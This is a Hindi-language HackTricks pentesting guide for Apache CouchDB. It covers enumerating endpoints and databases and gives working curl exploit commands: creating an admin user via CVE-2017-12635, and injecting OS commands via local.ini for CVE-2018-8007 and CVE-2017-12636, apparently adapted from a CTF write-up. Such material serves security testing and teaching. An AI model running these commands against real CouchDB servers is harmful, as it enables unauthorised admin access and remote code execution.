hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

31 KiB

5984,6984 - पेंटेस्टिंग CouchDB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

CouchDB एक बहुमुखी और शक्तिशाली दस्तावेज-अभिव्यक्त डेटाबेस है जो प्रत्येक दस्तावेज में कुंजी-मान मानचित्र संरचित करता है। दस्तावेज के भीतर क्षेत्र कुंजी/मान जोड़े, सूची या मानचित्र के रूप में प्रस्तुत किए जा सकते हैं, जो डेटा भंडारण और पुनर्प्राप्ति में लचीलाई प्रदान करता है।

CouchDB में संग्रहित प्रत्येक दस्तावेज को दस्तावेज स्तर पर एक अद्वितीय पहचानकर्ता (_id) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में की गई प्रत्येक संशोधन को एक संशोधन संख्या (_rev) सौंपी जाती है। यह संशोधन संख्या परिवर्तनों का ट्रैकिंग और प्रबंधन करने की अनुमति देती है, जिससे डेटाबेस में डेटा को आसानी से पुनर्प्राप्ति और समक्रमण किया जा सकता है।

डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

स्वचालित गणना

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

मैनुअल जांच

बैनर

curl http://IP:5984/

यह एक GET अनुरोध को स्थापित CouchDB इंस्टेंस पर जारी करता है। जवाब कुछ इस प्रकार का दिखना चाहिए:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} कृपया ध्यान दें कि यदि काउचडीबी के रूट तक पहुंचने पर आपको 401 अनधिकृत मिलता है और कुछ इस प्रकार का संदेश दिखाई देता है: {"error":"unauthorized","reason":"Authentication required."} तो आपको बैनर या किसी अन्य एंडप्वाइंट तक पहुंचने की अनुमति नहीं होगी। {% endhint %}

सूचना गणना

ये एंडप्वाइंट्स हैं जहाँ आप GET अनुरोध के साथ पहुंच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप काउचडीबी दस्तावेज़ीकरण में अधिक एंडप्वाइंट्स और विस्तृत विवरण पा सकते हैं

  • /_active_tasks चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया आईडी शामिल है।
  • /_all_dbs काउचडीबी उदाहरण में सभी डेटाबेस की सूची लौटाता है।
  • /_cluster_setup नोड या क्लस्टर की स्थिति, क्लस्टर सेटअप विज़ार्ड के अनुसार लौटाता है।
  • /_db_updates काउचडीबी उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडप्वाइंट का उपयोग करने के लिए _global_changes डेटाबेस की मौजूदगी आवश्यक है।
  • /_membership cluster_nodes के रूप में क्लस्टर का हिस्सा बने नोड दिखाता है। all_nodes फ़ील्ड उन सभी नोड्स को दिखाता है जिनके बारे में यह नोड जानता है, जिसमें क्लस्टर का हिस्सा है।
  • /_scheduler/jobs प्रतिलिपि कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य सूचना, प्रतिलिपि आईडी, हाल की घटना का इतिहास, और कुछ अन्य चीज़ें शामिल होंगी।
  • /_scheduler/docs प्रतिलिपि दस्तावेज़ स्थितियों की सूची। completed और failed स्थितियों में भी सभी दस्तावेज़ों के बारे में जानकारी शामिल है। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ आईडी, डेटाबेस, प्रतिलिपि आईडी, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name} एंडप्वाइंट का उपयोग करके आप अनुरोध प्रसंस्करण करने वाले सर्वर के एरलैंग नोड नाम की पुष्टि करने के लिए किया जा सकता है। यह सबसे उपयोगी होता है जब /_node/_local तक पहुंचने के लिए इस जानकारी को पुनः प्राप्त करना हो।
  • /_node/{node-name}/_stats _stats संसाधन एक चल रहे सर्वर के लिए आँकड़े समेत एक JSON ऑब्जेक्ट लौटाता है। शब्दकोशीय स्ट्रिंग _local स्थानीय नोड नाम के लिए एक उपनाम के रूप में काम करता है, इसलिए सभी आँकड़े URL के लिए, {node-name} को _local से बदला जा सकता है, स्थानीय नोड के आँकड़ों के साथ संवाद करने के लिए।
  • /_node/{node-name}/_system _system संसाधन एक चल रहे सर्वर के लिए विभिन्न सिस्टम स्तरीय आँकड़े समेत एक JSON ऑब्जेक्ट लौटाता है। आप ___local का उपयोग कर सकते हैं जैसे {node-name} वर्तमान नोड जानकारी प्राप्त करने के लिए।
  • /_node/{node-name}/_restart
  • /_up सत्यापित करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का जवाब देने के लिए तैयार है। यदि maintenance_mode true या nolb है, तो एंडप्वाइंट एक 404 प्रतिक्रिया लौटाएगा।
  • /_uuids काउचडीबी उदाहरण से एक या एक से अधिक यूनिवर्सली अद्वितीय पहचानकर्ता (UUIDs) का अनुरोध करता है।
  • /_reshard क्लस्टर पर पूर्ण, विफल, चल रहे, रोके गए, और कुल कार्यों की गणना के साथ रीशार्डिंग की स्थिति लौटाता है।

यहाँ विस्तार से समझाया गया है कि और भी दिलचस्प जानकारी निकाली जा सकती है: https://lzone.de/cheat-sheet/CouchDB

डेटाबेस सूची

curl -X GET http://IP:5984/_all_dbs

यदि उस अनुरोध का 401 अनधिकृत जवाब देता है, तो आपको डेटाबेस तक पहुंचने के लिए कुछ वैध प्रमाण पत्र की आवश्यकता है:

curl -X GET http://user:password@IP:5984/_all_dbs

वैध क्रेडेंशियल्स खोजने के लिए आप सेवा को ब्रूटफोर्स करने की कोशिश कर सकते हैं।

यह एक couchdb प्रतिक्रिया का उदाहरण है जब आपके पास पर्याप्त विशेषाधिकार होते हैं ताकि आप डेटाबेसों की सूची बना सकें (यह केवल डेटाबेसों की एक सूची है):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

डेटाबेस जानकारी

आप डेटाबेस नाम का उपयोग करके कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) प्राप्त कर सकते हैं:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

दस्तावेज़ सूची

डेटाबेस के भीतर प्रत्येक प्रविष्टि की सूची बनाएं

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

दस्तावेज़ पढ़ें

एक डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB विशेषाधिकार उन्नति CVE-2017-12635

एरलैंग और जावास्क्रिप्ट JSON पार्सर्स के बीच अंतर के कारण आप निम्नलिखित अनुरोध के साथ क्रेडेंशियल hacktricks:hacktricks के साथ एक एडमिन उपयोगकर्ता बना सकते थे:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

इस vuln के बारे में अधिक जानकारी यहाँ.

CouchDB RCE

Erlang कुकी सुरक्षा अवलोकन

उदाहरण यहाँ से.

काउचडीबी दस्तावेज़ीकरण में, विशेष रूप से क्लस्टर सेट-अप से संबंधित खंड में (लिंक), काउचडीबी द्वारा क्लस्टर मोड में पोर्ट का उपयोग किया जाता है। यह उल्लेख किया गया है कि, स्थानिक मोड की तरह, पोर्ट 5984 का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट 5986 नोड-स्थानिक API के लिए है, और महत्वपूर्ण रूप से, Erlang के लिए TCP पोर्ट 4369 की आवश्यकता है जो Erlang क्लस्टर के भीतर नोड संचार को सुविधा प्रदान करने वाला Erlang Port Mapper Daemon (EPMD) है। यह सेटअप एक नेटवर्क बनाता है जहां प्रत्येक नोड हर अन्य नोड से जुड़ा होता है।

पोर्ट 4369 के संबंध में एक महत्वपूर्ण सुरक्षा सलाह दी गई है। यदि यह पोर्ट इंटरनेट या किसी भी अविश्वसनीय नेटवर्क पर पहुंचने योग्य है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता जिसे "कुकी" के रूप में जाना जाता है पर भारित होती है। यह कुकी एक सुरक्षा रक्षा के रूप में काम करती है। उदाहरण के लिए, एक दिया गया प्रक्रिया सूची में, "मॉन्स्टर" नामक कुकी देखी जा सकती है, जिससे सिस्टम की सुरक्षा ढांचे में इसकी परिचालन भूमिका का पता चलता है।

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

उन लोगों के लिए जो इस "कुकी" को दूरस्थ कोड निष्पादन (RCE) के लिए कैसे उपयोग किया जा सकता है जिसे एरलैंग सिस्टम के संदर्भ में, एक विशेष खंड उपलब्ध है और आगे पढ़ने के लिए। यह विवरण उन विधियों को विस्तार से वर्णित करता है जिनका उपयोग अनधिकृत तरीकों से एरलैंग कुकी का उपयोग करके सिस्टम पर नियंत्रण प्राप्त करने के लिए किया जा सकता है। आप यहाँ एरलैंग कुकी का दुरुपयोग करने के लिए विस्तृत मार्गदर्शिका का अन्वेषण कर सकते हैं

लोकल.ini का संशोधन करके CVE-2018-8007 का शोधन

उदाहरण यहाँ से

हाल ही में खुलासा हुआ एक सुरक्षा दोष, CVE-2018-8007, जो एपाची काउचडीबी को प्रभावित करता है, उसे जांचा गया, जिससे पता चला कि उत्पीड़न के लिए local.ini फ़ाइल में लेखन अनुमतियाँ आवश्यक हैं। यद्यपि प्रारंभिक लक्ष्य सिस्टम पर सीधे लागू नहीं होता है क्योंकि सुरक्षा प्रतिबंधों के कारण, अन्वेषण के उद्देश्यों के लिए local.ini फ़ाइल को लेखन अधिकार प्रदान करने के लिए संशोधन किए गए। विस्तृत चरण और कोड उदाहरण नीचे प्रदान किए गए हैं, प्रक्रिया को प्रदर्शित करते हुए।

सबसे पहले, पर्यावरण को तैयार किया जाता है जिसमें सुनिश्चित किया जाता है कि local.ini फ़ाइल लिखने योग्य है, जिज्ञासा करके सत्यापित किया जाता है:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

कमजोरी का शोधन करने के लिए, एक curl कमांड को निषेधित किया जाता है, local.ini में cors/origins विन्यास को लक्षित करते हुए। इसमें एक नया मूल सम्मिलित किया जाता है साथ ही [os_daemons] खंड के तहत अतिरिक्त कमांड, अर्बिट्रे कोड को निष्पादित करने का उद्देश्य है:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

आगे की पुष्टि local.ini में डाली गई विन्यास को दिखाती है, जिसे एक बैकअप के साथ तुलना करके परिवर्तनों पर ध्यान दिया गया है:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

आरंभ में, अपेक्षित फ़ाइल (/tmp/0xdf) मौजूद नहीं है, जिससे स्पष्ट होता है कि इंजेक्ट किया गया कमांड अभी तक नहीं चलाया गया है। और जांच में पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें से एक ऐसी है जो इंजेक्ट किए गए कमांड को क्रियान्वित कर सकती है:

root@canape:/home/homer/bin# ps aux | grep couch

कोचडीबी प्रक्रिया को पहचानने के बाद समाप्त करके सिस्टम को स्वचालित रूप से पुनः आरंभ करने द्वारा, उभरे हुए कमांड का निष्पादन प्रेरित होता है, जिसे पहले गायब फ़ाइल की मौजूदगी द्वारा पुष्टि की जाती है:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की संभावना की पुष्टि करता है, विशेष रूप से local.ini फ़ाइल के लिखने योग्य एक्सेस की आवश्यकता को ध्यान में रखते हुए। प्रदत्त कोड उदाहरण और प्रक्रियात्मक चरण एक नियंत्रित वातावरण में शोषण की प्रतिलिपि के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं।

अधिक विवरण के लिए CVE-2018-8007 पर, mdsec द्वारा सूचना के लिए देखें: CVE-2018-8007.

लोकल.ini पर लेखन अनुमतियों के साथ CVE-2017-12636 का अन्वेषण

उदाहरण यहाँ से

एक भेद्यता जिसे CVE-2017-12636 के रूप में जाना जाता है, उसे अन्वेषित किया गया था, जो काउचडीबी प्रक्रिया के माध्यम से कोड निष्पादन को संभव बनाता है, हालांकि विशेष विन्यासों से इसका शोषण रोक सकता है। ऑनलाइन उपलब्ध कई प्रमाण का (POC) संदर्भ होने के बावजूद, काउचडीबी संस्करण 2 पर भेद्यता का शोषण करने के लिए संशोधन आवश्यक है, जो सामान्य रूप से लक्षित संस्करण 1.x से भिन्न है। प्रारंभिक कदम काउचडीबी संस्करण की पुष्टि करने और अपेक्षित क्वेरी सर्वर पथ की अनुपस्थिति की पुष्टि करने में सम्मिलित हैं:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB संस्करण 2.0 को समायोजित करने के लिए एक नया पथ का उपयोग किया जाता है:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

कोशिशें नए क्वेरी सर्वर जोड़ने और आमंत्रित करने के लिए अनुमति संबंधित त्रुटियों से भेंट कराई गईं, जैसा कि निम्नलिखित आउटपुट द्वारा सूचित किया गया है:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

और जांच में पता चला कि local.ini फ़ाइल में अनुमति समस्याएँ थीं, जिसे लिखने की अनुमति नहीं थी। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हुआ:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

जांच करने पर पाया गया कि क्वेरी सर्वर जोड़ने की प्रयासों में उत्तर में कोई त्रुटि संदेश नहीं था, जिससे सफलतापूर्वक local.ini फ़ाइल का संशोधन हुआ था:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

प्रक्रिया जारी रही डेटाबेस और एक दस्तावेज़ का निर्माण करने के साथ, जिसके बाद नए जोड़े गए क्वेरी सर्वर को मैप करने वाले कस्टम व्यू के माध्यम से कोड को निष्पादित करने का प्रयास किया गया:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

एक सारांश एक वैकल्पिक payload के साथ CVE-2017-12636 का शोध करने के और अधिक अंदर देता है विशेष परिस्थितियों के तहत इसका शोध करने के उपयोगी संसाधन शामिल हैं:

Shodan

  • port:5984 couchdb

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: